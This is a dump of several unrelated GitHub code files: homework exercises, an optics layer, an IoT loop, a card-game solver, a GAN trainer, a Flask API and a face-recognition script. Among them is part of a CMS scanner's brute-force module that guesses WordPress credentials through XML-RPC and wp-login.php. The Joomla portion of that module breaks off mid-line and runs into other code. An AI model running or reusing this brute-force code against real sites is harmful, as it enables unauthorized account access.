rotate(lst, k):\n g = []\n for i in range(len(lst)):\n i -= k\n g.insert(len(g), lst[i])\n print(lst)\n print(g)\n\nf = [1, 2, 3, 4, 5, 6]\nrotate(f, 3)\n\"\"\"prints:\n [1, 2, 3, 4, 5, 6]\n [4, 5, 6, 1, 2, 3]\n\"\"\"\n\n\"\"\"****************************************************************************************\"\"\"\n\"\"\"H: Continuing from above, what would Python print?\"\"\"\n\nprint('colin kaepernick' in superbowls)\n#Prints: False\n\nprint(len(superbowls))\n#Prints: 4 (Originally 3, Payton Manning added = 4)\n\nprint(superbowls['peyton manning'] == superbowls['joe montana'])\n#Prints: False\n\nsuperbowls[('eli manning', 'giants')] = 2\nprint(superbowls)\n#Prints: {'peyton manning': 1, ('eli manning', 'giants'): 2, 'tom brady': 3, 'joe flacco': 1, 'joe montana': 4}\n\nsuperbowls[3] = 'cat'\nprint(superbowls)\n#Prints: {3: 'cat', 'peyton manning': 1, 'joe flacco': 1, 'joe montana': 4, 'tom brady': 3, ('eli manning', 'giants'): 2}\n\n\nsuperbowls[('eli manning', 'giants')] = superbowls['joe montana'] + superbowls['peyton manning']\nprint(superbowls)\n#Prints: {3: 'cat', 'peyton manning': 1, 'joe flacco': 1, 'joe montana': 4, 'tom brady': 3, ('eli manning', 'giants'): 5}\n\nsuperbowls[['steelers', '49ers']] = 11\nprint(superbowls)\n#Prints: TypeError: unhashable type: 'list'\n\n\"\"\"****************************************************************************************\"\"\"\n\n\"\"\"I: Given a dictionary replace all occurrences of x as the value with y.\"\"\"\n\ndef replace(d, x, y):\n for k in d.keys():\n if d[k] == x:\n d[k] = y\n print(d)\n\ndict = {'bob': 3, 'fred': 7, 'wilma': 8, 'ginger': 4, 'maryann': 9}\nreplace(dict, 9, 'nine')\n#prints: {'fred': 7, 'ginger': 4, 'maryann': 'nine', 'wilma': 8, 'bob': 3}\n\n\"\"\"****************************************************************************************\"\"\"\n\"\"\"J: Given a (non-nested) dictionary delete all occurences of a value. You cannot delete \nitems in a dictionary as you are iterating through it.\"\"\"\n\ndef removIt(d, rmv):\n d = {k:v for k, v in d.items() if not v == rmv}\n print(d)\n\nd = {1:2, 'underdog': 'sweet polly purebred', 2:3, 3:2, 4:5, 7:2, 'boris': 'natasha', 'tobor': 2}\nremovIt(d, 2)\n\n#prints: {'underdog': 'sweet polly purebred', 2: 3, 4: 5, 'boris': 'natasha'}\n","repo_name":"shoe61/2143-OOP-Schumacher","sub_path":"Assignments/homework-01.py","file_name":"homework-01.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31739021007","text":"import numpy as np\nimport tensorflow as tf\n\nfrom .util import transpose_2d_fft, transpose_2d_ifft, complex_exponent_tf\n\n\nclass FresnelPropagation(tf.keras.layers.Layer):\n def __init__(self, distance, discretization_size, wave_lengths, energy_penalty_mask_type=None):\n super().__init__()\n self.distance = distance\n self.wave_lengths = wave_lengths\n self.wave_nos = 2. * np.pi / wave_lengths\n self.discretization_size = discretization_size\n self.m_padding = None\n self.n_padding = None\n # self.constant_exponent_part = None\n self.outside_sensor_boolean_mask = None\n self.energy_penalty_mask_type = energy_penalty_mask_type\n self.H = None\n\n def build(self, input_shape):\n batch_num, m_original, n_original, channel_num = input_shape\n # zero padding\n m_padding = m_original // 4\n n_padding = n_original // 4\n self.m_padding = m_padding\n self.n_padding = n_padding\n m_full = m_original + 2 * m_padding\n n_full = n_original + 2 * n_padding\n\n [x, y] = np.mgrid[-n_full // 2:n_full // 2, -m_full // 2:m_full // 2]\n\n # Spatial frequency\n fx = x / (self.discretization_size * n_full) # max frequency = 1/(2*pixel_size)\n fy = y / (self.discretization_size * m_full)\n\n fx = tf.signal.ifftshift(fx)\n fy = tf.signal.ifftshift(fy)\n\n fx = fx[None, :, :, None]\n fy = fy[None, :, :, None]\n\n squared_sum = np.square(fx) + np.square(fy)\n\n # Simplified Formula\n constant_exponent_part = np.float64(self.wave_lengths * np.pi * -1. * squared_sum)\n self.H = complex_exponent_tf(self.distance * constant_exponent_part,\n dtype=tf.complex64, name='fresnel_kernel')\n\n # Original Formula ( e^ai Mod => 1)\n # constant_exponent_part = self.wave_nos + np.float64(self.wave_lengths * np.pi * -1. * squared_sum)\n # self.H = complex_exponent_tf(self.distance * constant_exponent_part,\n # dtype=tf.complex64, name='fresnel_kernel')\n\n # Trainable Distance\n # self.distance = self.add_weight(\"sensor_distance\",\n # initializer=tf.keras.initializers.Constant(value=self.distance),\n # shape=(), dtype=tf.float64, trainable=True,\n # constraint=lambda dis: tf.clip_by_value(dis, 5e-3, 50e-3)) # 限制在 5~50mm 内\n\n def _propagate(self, input_field, training=None):\n padded_input_field = tf.pad(tensor=input_field,\n paddings=[[0, 0], [self.m_padding, self.m_padding],\n [self.n_padding, self.n_padding], [0, 0]])\n\n fourier_padded_input_field = transpose_2d_fft(padded_input_field)\n output_field = transpose_2d_ifft(fourier_padded_input_field * self.H)\n\n tf.summary.scalar(name=\"out_field_abs_sum\", data=tf.reduce_sum(tf.cast(tf.abs(output_field), dtype=tf.float32)))\n\n return output_field[:, self.m_padding:-self.m_padding, self.n_padding:-self.n_padding, :]\n\n def call(self, inputs, training=None, **kwargs):\n return self._propagate(input_field=inputs, training=training)\n\n # if self.energy_penalty_mask_type is not None:\n # if self.energy_penalty_mask_type == 'circle':\n # # 半圈能量超出惩罚\n # from util.mask_generator import circle_mask\n # original_non_mask = circle_mask(m_original)\n # original_non_mask = tf.repeat(original_non_mask, repeats=31, axis=-1)\n # original_non_mask = tf.pad(tensor=original_non_mask,\n # paddings=[[0, 0], [self.m_padding, self.m_padding],\n # [self.n_padding, self.n_padding], [0, 0]],\n # mode=\"CONSTANT\", constant_values=1)\n # self.outside_sensor_boolean_mask = tf.cast(original_non_mask, dtype=tf.bool)\n # elif self.energy_penalty_mask_type == 'square':\n # original_non_mask = tf.zeros(shape=(batch_num, m_original, n_original, channel_num))\n #\n # padded_mask = tf.pad(tensor=original_non_mask, paddings=[[0, 0], [self.m_padding, self.m_padding],\n # [self.n_padding, self.n_padding], [0, 0]],\n # mode=\"CONSTANT\", constant_values=1)\n # self.outside_sensor_boolean_mask = tf.cast(padded_mask, dtype=tf.bool)\n\n # # 若mask方式不为空,则惩罚传感器外的能量\n # if self.outside_sensor_boolean_mask is not None:\n # summary_hyper_spec_image(tf.cast(self.outside_sensor_boolean_mask, dtype=tf.float32),\n # name=\"outside_sensor_boolean_mask\")\n #\n # output_field_f32_abs = tf.cast(tf.abs(output_field), dtype=tf.float32)\n # energy_outside = tf.reduce_mean(tf.boolean_mask(output_field_f32_abs,\n # mask=self.outside_sensor_boolean_mask,\n # name=\"energy_outside_sensor\"))\n #\n # energy_inside = tf.reduce_mean(tf.boolean_mask(output_field_f32_abs,\n # mask=tf.math.logical_not(self.outside_sensor_boolean_mask),\n # name=\"energy_inside_sensor\"))\n #\n # self.add_loss(energy_outside / energy_inside)\n","repo_name":"wang-lizhi/NonSerialQuantizationAwareDeepOptics","sub_path":"optics/propagation.py","file_name":"propagation.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74913930115","text":"import machine\nimport uasyncio\nimport oled\nimport connection\nfrom umqtt.simple import MQTTClient\nfrom umqtt.aiot import AIOT\nfrom file_system import FileSet\n\n\n\nloop = uasyncio.get_event_loop()#取得總迴圈\n\nnet = connection.Network(oled=True)# 網路連線\n\nDB2 = FileSet(\"degree_wet.json\")# 檔案系統\n\nscreen = oled.OLED()#OLED顯示器\n\nglobal restart_main_task\nrestart_main_task = False\n\n#主程式\nasync def main_task():#主程式\n # 檔案系統\n await DB2.setUp()\n uuid = \"\"\n try:\n uuid = (await DB2.read(\"uuid\"))[1]\n except Exception as e:\n uuid = await DB2.generate_uuid()\n await DB2.create(\"uuid\",uuid)\n print(e)\n # 載入畫面\n await screen.blank()\n await screen.centerText(4,\"NCUE AIOT\")\n await screen.show()\n await uasyncio.sleep_ms(100)\n # 網路連線\n is_connected = await net.setUp()\n if (is_connected):\n mqtt = AIOT(\"AppSend\",uuid)\n async def loopor():\n if mqtt.received != \"none\":\n print(mqtt.received)\n mqtt.received=\"none\"\n while True:\n await loopor()\n await mqtt.wait()\n print(mqtt.received)\n await uasyncio.sleep_ms(100)\n else:\n print(\"connection error\")\n \n \ndef run():\n try:\n task = loop.create_task(main_task())\n loop.run_forever()\n except KeyboardInterrupt:\n print(\"Ctrl+C pressed stopping.....\")\n finally:\n task.cancel()\n loop.run_until_complete(task)\n loop.close()\nif __name__ == '__main__':\n global restart_main_task\n max_try = 3\n while(max_try or restart_main_task):\n run()\n if (restart_main_task):\n max_try = 3\n else:\n max_try-=1\n restart_main_task = False\n\n\n","repo_name":"ncueteam/ncue","sub_path":"aiot_hardware/new_main.py","file_name":"new_main.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"21653003195","text":"#! /usr/bin/env python3\nimport sys, urllib, re, http.cookiejar, ssl\n\n# Import Objects\nfrom .initialize import initializer\nfrom .report import report\nfrom .requester import requester\n\n# Import Classes\nfrom .threadscanner import MyHandler\n\n\n# Perform brute-force, dictionary attacks\nclass BruteForcer:\n\n def __init__(self):\n self.force = None\n self.wpnoxmlrpc = True\n self.url = None\n self.usrlist = None\n self.pswlist = None\n self.dictattack = None\n\n # Read the wordlist and start brute-force attack\n def Start(self):\n if type(self.usrlist) is str:\n try:\n self.usrlist = [line.strip() for line in open(self.usrlist)]\n except IOError:\n self.usrlist = [self.usrlist]\n if type(self.pswlist) is str:\n try:\n self.pswlist = [line.strip() for line in open(self.pswlist)]\n except IOError:\n self.pswlist = [self.pswlist]\n\n if self.force is not None:\n msg = \"Starting Brute Forcing: \" + self.force\n report.message(msg)\n if self.force == 'W':\n if self.wpnoxmlrpc:\n self.WPXMLRPC_brute()\n else:\n self.WPrun()\n elif self.force == 'J':\n self.Joorun()\n elif self.force == 'D':\n self.Drurun()\n else:\n msg = \"Not Valid Option Provided: use (W)ordpress, (J)oomla, (D)rupal\"\n report.error(msg)\n sys.exit(1)\n\n # Find credentials via WordPress XML-RPC\n def WPXMLRPC_brute(self):\n msg = \"Starting XML-RPC Brute Forcing\"\n report.verbose(msg)\n for user in self.usrlist:\n self.pswlist.append(user)\n for pwd in self.pswlist:\n self.postdata = (\n 'wp.getUsersBlogs'\n '' + user +\n ''\n '' + pwd +\n '')\n msg = \"Trying Credentials: \" + user + \" \" + pwd\n report.verbose(msg)\n requester.noredirect(self.url + '/xmlrpc.php', self.postdata)\n if re.search('isAdmin0', requester.htmltext):\n msg = \"Valid Credentials! Username: \" + user + \" Password: \" + pwd\n report.high(msg)\n elif re.search('isAdmin1', requester.htmltext):\n msg = \"Valid ADMIN Credentials! Username: \" + user + \" Password: \" + pwd\n report.high(msg)\n\n # Find credentials brute-forcing the wp-login.php page\n def WPrun(self):\n msg = \"Starting Brute Forcing\"\n report.verbose(msg)\n self.wplogin = \"/wp-login.php\"\n usersFound = []\n for user in self.usrlist:\n self.pswlist.append(user) # try username as password\n for pwd in self.pswlist:\n self.postdata = {\"log\": user, \"pwd\": pwd, \"wp-submit\": \"Log+In\"}\n msg = \"Trying Credentials: \" + user + \" \" + pwd\n report.verbose(msg)\n requester.requestcookie(self.url + self.wplogin, self.postdata)\n if re.search('ERROR: Invalid username', requester.htmltext):\n msg = \"Invalid Username: \" + user\n report.message(msg)\n break\n elif re.search('username (.+?) is incorrect.', requester.htmltext):\n usersFound.append(user)\n elif re.search('ERROR.*blocked.*', requester.htmltext, re.IGNORECASE):\n msg = \"Account Lockout Enabled: Your IP address has been temporary blocked. Try it later or from a different IP address\"\n report.error(msg)\n return\n elif re.search('wordpress_logged_in_', str(requester.cookieJar), re.IGNORECASE):\n msg = \"Valid Credentials: \" + user + \" \" + pwd\n report.high(msg)\n # remove user\n self.pswlist.pop()\n\n # Find credentials brute-forcing the /administrator/index.php page\n def Joorun(self):\n # It manages token and Cookies\n self.joologin = \"/administrator/index.php\"\n self.JooValidCredentials = []\n for user in self.usrlist:\n # Get Token and Session Cookie\n requester.requestcookie(self.url + self.joologin, data=None)\n reg = re.compile(' p2[i]:\n winnerAction(1)\n break\n elif p1[i] < p2[i]:\n winnerAction(2)\n break\n\n def gameTypeMethodDecider(self):\n if self.gameType == \"Classic\":\n self.gameType_Classic()\n\n def compare(self):\n if len(self.P1.cards) == self.cardsDealt and len(self.P2.cards) == self.cardsDealt:\n self.P1.hierarchy_decider()\n self.P2.hierarchy_decider()\n self.gameTypeMethodDecider()\n else:\n print(\"Enter More cards\")\n\n def reset(self):\n self.P1 = Player()\n self.P2 = Player()\n\n\n\"\"\"Stream Looks like this\"\"\"\n# gT = \"Classic\"\n# g = game(gT)\n# g.compare()\n# g.setCard(1, \"spade\", 2)\n# g.setCard(1, \"spade\", \"a\")\n# g.setCard(1, \"spade\", 3)\n# g.setCard(2, \"spade\", \"a\")\n# g.setCard(2, \"spade\", \"k\")\n# g.setCard(2, \"spade\", \"q\")\n# g.compare()\n\n\"\"\"Python Testing Code\"\"\"\ntesting_iterations = 10\ns = [(k) for k, v in suits.items()]\nn = [(k) for k, v in numbers.items()]\nprint(n)\nfor i in range(testing_iterations):\n p1, p2 = [], []\n gT = \"Classic\"\n g = game(gT)\n cards = []\n for j in range(3):\n t, suit, num = True, None, None\n while t:\n suit = random.choice(s)\n num = random.choice(n)\n if [suit, num] not in cards:\n cards.append([suit, num])\n break\n t = g.setCard(1, suit, num)\n p1 += [[suit, num]]\n for j in range(3):\n t, suit, num = True, None, None\n while t:\n suit = random.choice(s)\n num = random.choice(n)\n if [suit, num] not in cards:\n cards.append([suit, num])\n break\n t = g.setCard(2, suit, num)\n p2 += [[suit, num]]\n print(p1, p2)\n g.compare()\n","repo_name":"curiousHG/Web_app_Teen_patti_solver","sub_path":"Python logic/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16362591017","text":"#!/usr/bin/env python\nfrom __future__ import print_function, division\n\nimport tensorflow as tf\nimport pandas as pd\nfrom keras.applications.inception_v3 import InceptionV3\nfrom keras.models import Sequential\nfrom keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\nfrom keras.layers.convolutional import MaxPooling2D\n\nfrom keras import backend as K\nfrom keras.layers import Input\n\nfrom keras.preprocessing import image\nfrom keras.layers import Input, Dense, Flatten, Dropout, Reshape, Concatenate\nfrom keras.layers import BatchNormalization, Activation, Conv2D, Conv2DTranspose\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.models import Model\nfrom keras.optimizers import Adam\n\nfrom keras.datasets import cifar10\nimport keras.backend as K\n\nimport matplotlib.pyplot as plt\n\nimport sys\nimport numpy as np\nimport time\n\nBATCH_SIZE = 25\nN_EPOCHS = 10\nGPUS = 1\n\ndef get_generator(input_layer):\n print(\"generator model\")\n print(input_layer.shape)\n #print(condition_layer.shape)\n\n #merged_input = Concatenate()([input_layer, condition_layer])\n\n hid = Dense(int(128 * img_height * img_width/4), activation='relu')(input_layer)#(merged_input)\n hid = BatchNormalization(momentum=0.9)(hid)\n hid = LeakyReLU(alpha=0.1)(hid)\n hid = Reshape((int(img_height/2), int(img_width/2), 128))(hid)\n\n hid = Conv2D(128, kernel_size=4, strides=1,padding='same')(hid)\n hid = BatchNormalization(momentum=0.9)(hid) \n hid = LeakyReLU(alpha=0.1)(hid)\n\n hid = Conv2DTranspose(128, 4, strides=2, padding='same')(hid)\n hid = BatchNormalization(momentum=0.9)(hid)\n hid = LeakyReLU(alpha=0.1)(hid)\n\n #hid = Conv2D(256, kernel_size=5, strides=1,padding='same')(hid)\n #hid = BatchNormalization(momentum=0.9)(hid) \n #hid = LeakyReLU(alpha=0.1)(hid)\n\n #hid = Conv2D(256, kernel_size=5, strides=1,padding='same')(hid)\n #hid = BatchNormalization(momentum=0.9)(hid) \n #hid = LeakyReLU(alpha=0.1)(hid)\n\n #hid = Conv2D(256, kernel_size=5, strides=1, padding='same')(hid)\n #hid = BatchNormalization(momentum=0.9)(hid)\n #hid = LeakyReLU(alpha=0.1)(hid)\n\n hid = Conv2D(256, kernel_size=2, strides=1, padding='same')(hid)\n hid = BatchNormalization(momentum=0.9)(hid)\n hid = LeakyReLU(alpha=0.1)(hid)\n \n \n hid = Conv2D(3, kernel_size=5, strides=1, padding=\"same\")(hid)\n hid = Flatten()(hid)\n hid = Dense(img_height*img_width*img_channels)(hid)\n\n hid = Reshape((img_height, img_width, img_channels))(hid)\n\n out = Activation(\"tanh\")(hid)\n\n print(out.shape)\n\n model = Model(inputs=[input_layer], outputs=out)\n #model = Model(inputs=[input_layer, condition_layer], outputs=out)\n model.summary()\n\n #parrallel_model = model\n if GPUS<=1:\n parallel_model = model\n else:\n parallel_model = multi_gpu_model( model, gpus=GPUS )\n\n return parallel_model\n\ndef get_discriminator(input_layer):\n\n depth = 128\n dropout = 0.1\n #model = InceptionV3(include_top=True, weights=None, input_tensor=input_layer, input_shape=None, pooling=None, classes=1)\n model=Sequential()\n input_shape = (img_height, img_width, img_channels)\n\n model.add(Conv2D(depth*1, 5, strides=2, input_shape=input_shape, padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Dropout(dropout))\n\n model.add(Conv2D(depth*2, 5, strides=2, padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Dropout(dropout))\n\n model.add(Conv2D(depth*4, 5, strides=2, padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Dropout(dropout))\n\n model.add(Conv2D(depth*8, 5, strides=1, padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Dropout(dropout))\n\n # Out: 1-dim probability\n model.add(Flatten())\n model.add(Dense(256))\n #model.add(Dense(128))\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n model.summary()\n if GPUS<=1 :\n discparallel_model = model\n else:\n discparallel_model = multi_gpu_model( model, gpus=GPUS )\n return discparallel_model\n\ndef one_hot_encode(y):\n z = np.zeros((len(y), 10))\n idx = np.arange(len(y))\n z[idx, y] = 1\n return z\n\ndef generate_noise(n_samples, noise_dim):\n X = np.random.normal(0, 1, size=(n_samples, noise_dim))\n return X\n\ndef generate_random_labels(n):\n y = np.random.choice(10, n)\n y = one_hot_encode(y)\n return y\n\ntags = ['img']\n\ndef get_image_batch():\n img_batch = real_image_generator.next()\n #print(img_batch)\n #plt.imshow(img_batch[0])\n #plt.show()\n\n # keras generators may generate an incomplete batch for the last batch in an epoch of data\n if len(img_batch) != BATCH_SIZE:\n img_batch = real_image_generator.next()\n\n assert img_batch.shape == (BATCH_SIZE, img_height, img_width, img_channels), img_batch.shape\n return img_batch\n\ndef show_samples(batchidx):\n #fig, axs = plt.subplots(5, 6, figsize=(img_width))\n #plt.subplots_adjust(hspace=0.3, wspace=0.1)\n #fig, axs = plt.subplots(5, 6)\n #fig.tight_layout()\n #print(\"loop\")\n\n noise_data = generate_noise(BATCH_SIZE, 100)\n print(noise_data.shape)\n random_labels = generate_random_labels(BATCH_SIZE)\n # We use same labels for generated images as in the real training batch\n gen_imgs = generator.predict([noise_data])\n #for classlabel in range(1):\n # row = int(classlabel / 2)\n # coloffset = (classlabel % 2) * 3\n # lbls = np.ones(1) #one_hot_encode([classlabel] * 3)\n # noise = generate_noise(3, 100)\n # print(\"make image\")\n # gen_imgs = generator.predict([noise, lbls])\n\n img = image.array_to_img(gen_imgs[0], scale=True)\n plt.imshow(img)\n plt.draw()\n plt.savefig(\"out_imgs/\"+batchidx+\".png\")\n plt.close()\n\nconfig = tf.ConfigProto()\n\n#below to force cpu\n#config = tf.ConfigProto(\n# device_count = {'GPU': 0}\n# )\nprint(\"running \"+str(N_EPOCHS)+\" Epochs\")\nprint(\"using batch size of \"+str(BATCH_SIZE))\nprint(\"running with \"+str(GPUS)+\" gpus\")\n# Don't pre-allocate memory; allocate as-needed\nconfig.gpu_options.allow_growth = True\n\n# Only allow a total of half the GPU memory to be allocated\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.95\n\n# Create a session with the above options specified.\nK.tensorflow_backend.set_session(tf.Session(config=config))\n\n\nimg_height=64 #472\nimg_width=64 #696\nimg_channels=3\n\n\n# GAN creation\nimg_input = Input(shape=(img_height,img_width,img_channels))\n\ndiscriminator = get_discriminator(img_input)\ndiscriminator.compile(optimizer=Adam(0.0002, 0.5), loss='binary_crossentropy', metrics=['accuracy'])\n\ndiscriminator.trainable = False\n\nnoise_input = Input(shape=(100,))\ngenerator = get_generator(noise_input)\n#generator.compile(optimizer=Adam(0.0002, 0.5), loss='binary_crossentropy', metrics=['accuracy'])\n\ngan_input = Input(shape=(100,))\n#X_train = generator(gan_input)\n#gan_out = discriminator(X_train)\n#gan = Model(inputs=[gan_input], output=gan_out)\ngan = Sequential()\ngan.add(generator)\ngan.add(discriminator)\ngan.summary()\nif GPUS<=1 :\n ganparallel_model = gan\nelse:\n ganparallel_model = multi_gpu_model( gan, gpus=GPUS )\n\nganparallel_model.compile(optimizer=Adam(0.0002, 0.5), loss='binary_crossentropy', metrics=['accuracy'])\n\n# # Get training images\ndata_generator = ImageDataGenerator(rescale=1./255)\n\nflow_from_directory_params = {'target_size': (img_height, img_width),\n 'color_mode': 'grayscale' if img_channels == 1 else 'rgb',\n 'class_mode': None,\n 'batch_size': BATCH_SIZE}\n\nreal_image_generator = data_generator.flow_from_directory(\n directory=\"./training_set\",\n **flow_from_directory_params\n)\n\n\nnum_batches = int(real_image_generator.n//real_image_generator.batch_size)\n\n\nfor epoch in range(N_EPOCHS):\n start_time=time.time()\n dloss=[0.,0.]\n aloss=[0.,0.]\n for batch_idx in range(num_batches):\n # Get the next set of real images to be used in this iteration\n images = get_image_batch()# X_train[batch_idx*BATCH_SIZE : (batch_idx+1)*BATCH_SIZE]\n plt.imshow(images[0])\n #plt.show()\n labels = np.ones(BATCH_SIZE)# y_train[batch_idx*BATCH_SIZE : (batch_idx+1)*BATCH_SIZE]\n\n\n noise_data = generate_noise(BATCH_SIZE, 100)\n #print(noise_data.shape)\n # We use same labels for generated images as in the real training batch\n generated_images = generator.predict([noise_data])\n\n #images_train = images[np.random.randint(0,images.shape[0], size=BATCH_SIZE), :, :, :]\n x = np.concatenate((images, generated_images))\n y = np.ones([2*BATCH_SIZE, 1])\n y[BATCH_SIZE:, :] = 0\n d_loss = discriminator.train_on_batch(x, y)\n dloss[0]+=d_loss[0]\n dloss[1]+=d_loss[1]\n y = np.ones([BATCH_SIZE, 1])\n noise = np.random.uniform(-1.0, 1.0, size=[BATCH_SIZE, 100])\n \n a_loss = gan.train_on_batch(noise, y)\n aloss[0]+=a_loss[0]\n aloss[1]+=a_loss[1]\n log_mesg = \"%d: [D loss: %f, acc: %f]\" % (epoch, dloss[0], dloss[1]/num_batches)\n log_mesg = \"%s [A loss: %f, acc: %f]\" % (log_mesg, aloss[0], aloss[1]/num_batches)\n end_time=time.time()\n\n print(log_mesg)\n print(end_time-start_time)\n print(\"===================\")\n #print('\\tEpoch: {}, Generator Loss: {}, Discriminator Loss: {}'.format(epoch+1, cum_g_loss/num_batches, cum_d_loss/num_batches))\n #print(epoch+1)\n #print(epoch+1%10)\n if((epoch+1) % 1 == 0):\n print(\"SHOW\")\n show_samples(\"epoch\" + str(epoch))\n \n\ngenerator.save(\"test\")\n","repo_name":"JeffersonLab/trackingML","sub_path":"benchmark/bm04/gan_train.py","file_name":"gan_train.py","file_ext":"py","file_size_in_byte":9242,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"24237609058","text":"# flask_ngrok_example.py\nimport os\nimport shutil\nimport urllib.request\nfrom flask import Flask, request, redirect, jsonify, send_from_directory\nfrom flask_ngrok import run_with_ngrok\nimport time\nimport base64\nfrom PIL import Image\n\nUPLOAD_FOLDER = 'images'\nDOWNLOAD_FOLDER = 'static'\n\napp = Flask(__name__)\napp.secret_key = \"secret key\"\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 128 * 1024 * 1024\n\nrun_with_ngrok(app) # Start ngrok when app is run\n\n\n@app.route(\"/\" , methods=['GET' , 'POST'])\ndef hello():\n # delete folders\n if request.method != 'POST':\n os.system('start convert.bat')\n time.sleep(5)\n return send_from_directory(DOWNLOAD_FOLDER, 'result.mp3', as_attachment=True)\n \n try:\n shutil.rmtree(UPLOAD_FOLDER)\n except Exception as e:\n do = \"nothing\"\n try:\n shutil.rmtree(DOWNLOAD_FOLDER)\n except Exception as e:\n do = \"nothing\"\n\n # create empty output folders\n uncreated = 1\n while (uncreated):\n try:\n os.mkdir(UPLOAD_FOLDER)\n uncreated = 0\n except Exception as e:\n do = \"nothing\"\n uncreated = 1\n while (uncreated):\n try:\n os.mkdir(DOWNLOAD_FOLDER)\n uncreated = 0\n except Exception as e:\n do = \"nothing\"\n \n if request.method == 'POST':\n # check if the post request has the file part\n # if 'file' not in request.files:\n # resp = jsonify({'message' : 'No file part in the request'})\n # resp.status_code = 400\n # return resp\n file = request.form['basestring']\n \n if file == '':\n resp = jsonify({'message' : 'Empty Image'})\n resp.status_code = 400\n return resp\n else:\n imgdata = base64.b64decode(file)\n filename = UPLOAD_FOLDER+'/uploaded.jpg' # I assume you have a way of picking unique filenames\n with open(filename, 'wb') as f:\n f.write(imgdata) \n\n #read the image\n im = Image.open(UPLOAD_FOLDER+'/uploaded.jpg')\n #rotate image\n angle = 270\n out = im.rotate(angle , expand = True)\n out.save(UPLOAD_FOLDER+'/uploaded.jpg')\n\n resp = jsonify({'message' : 'File successfully uploaded'})\n resp.status_code = 201\n os.system('execution.bat')\n return \"File Successfully Uploaded\"\n #return send_from_directory(DOWNLOAD_FOLDER, 'result.wav', as_attachment=True)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"shariarriday/IDP-Backend","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39675279583","text":"import threading\nimport time\nimport cv2\nimport numpy as np\nfrom keras.models import load_model\nfrom keras_vggface import utils\nimport cv2\nfrom keras.applications.vgg16 import VGG16, preprocess_input\nimport numpy as np\nimage_size = 224\n\n\nclass myThread (threading.Thread):\n def __init__(self, src):\n print(\"thread -------------init-------------\")\n threading.Thread.__init__(self)\n self.cap = cv2.VideoCapture(src)\n self.stop = False\n def run(self):\n while(self.stop == False):\n self.ret, self.frame = self.cap.read()\n\n def Stop(self):\n self.cap.release()\n self.stop = True\n\n def read(self):\n return self.ret, self.frame\n\nmodel = load_model('/home/pkumar/Desktop/livevideo/vgg_2.h5')\nHumanNames = ['nickole','praveen']\ncascade_classifier = cv2.CascadeClassifier('/home/pkumar/Downloads/haarcascade_frontalface_default.xml')\n# faceCascade = cv2.CascadeClassifier(cascadePath);\n\nthread = myThread(0)\nthread.start()\ntime.sleep(1)\n\nstart = time.time()\nframes = 0\nfont = cv2.FONT_HERSHEY_SIMPLEX\ncap = cv2.VideoCapture(1)\nwhile(True):\n ret, frame = thread.read()\n frame = cv2.resize(frame, (640, 480))\n frames += 1\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n faces = cascade_classifier.detectMultiScale(gray, 1.2, 5)\n for (x,y,w,h) in faces:\n cv2.rectangle(frame,(x,y),(x+w,y+h),(255,255,0),2)\n roi_color = frame [y:y+h, x:x+w]\n roi_color = cv2.cvtColor(roi_color, cv2.COLOR_BGR2RGB)\n roi_color = cv2.resize(roi_color, (image_size, image_size))\n image = roi_color.astype(np.float32, copy=False)\n image = np.expand_dims(image, axis=0)\n image = preprocess_input(image) # or version=2\n image /= 255\n preds = model.predict(image)\n print(preds)\n best_class_indices = np.argmax(preds, axis=1)\n best_class_probabilities = preds[np.arange(len(best_class_indices)), best_class_indices]\n print(best_class_indices,' with accuracy ',best_class_probabilities)\n if best_class_probabilities>0.75:\n for H_i in HumanNames:\n if HumanNames[best_class_indices[0]] == H_i:\n result_names = HumanNames[best_class_indices[0]]\n print(result_names)\n cv2.putText(frame, result_names, (x, y ), cv2.FONT_HERSHEY_COMPLEX_SMALL,\n 1, (0, 255,0), thickness=1, lineType=2)\n\n\n\n # for(x,y,w,h) in faces:\n # # Create rectangle around the face\n # cv2.rectangle(frame, (x-20,y-20), (x+w+20,y+h+20), (0,255,0), 4)\n \n # # cv2.rectangle(frame, (x-22,y-90), (x+w+22, y-22), (0,255,0), -1)\n # # cv2.putText(frame, str(Id), (x,y-40), font, 2, (255,255,255), 3) \n\n if cv2.waitKey(10) & 0xFF == ord('q'):\n thread.Stop()\n break\n cv2.imshow(\"frame\", frame) \nend = time.time()\nsecond = end - start\nprint(\"second:\", + second)\nprint(frames/second)\ncv2.destroyAllWindows()\n","repo_name":"pra04373/pp","sub_path":"multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34255871211","text":"#Experimenting with JSON\n# Author: Angelina B\n\nimport json\n\nfilename = \"dict.json\"\nsample = dict(name = 'john', age = 23, grade = [35, 64, 52])\n\ndef writeDict(obj):\n with open(filename, 'wt') as f:\n json.dump(obj,f)\n\n# writeDict(sample)\n\ndef readDict():\n with open(filename) as f:\n return json.load(f)\n\ntestDict = readDict()\nprint 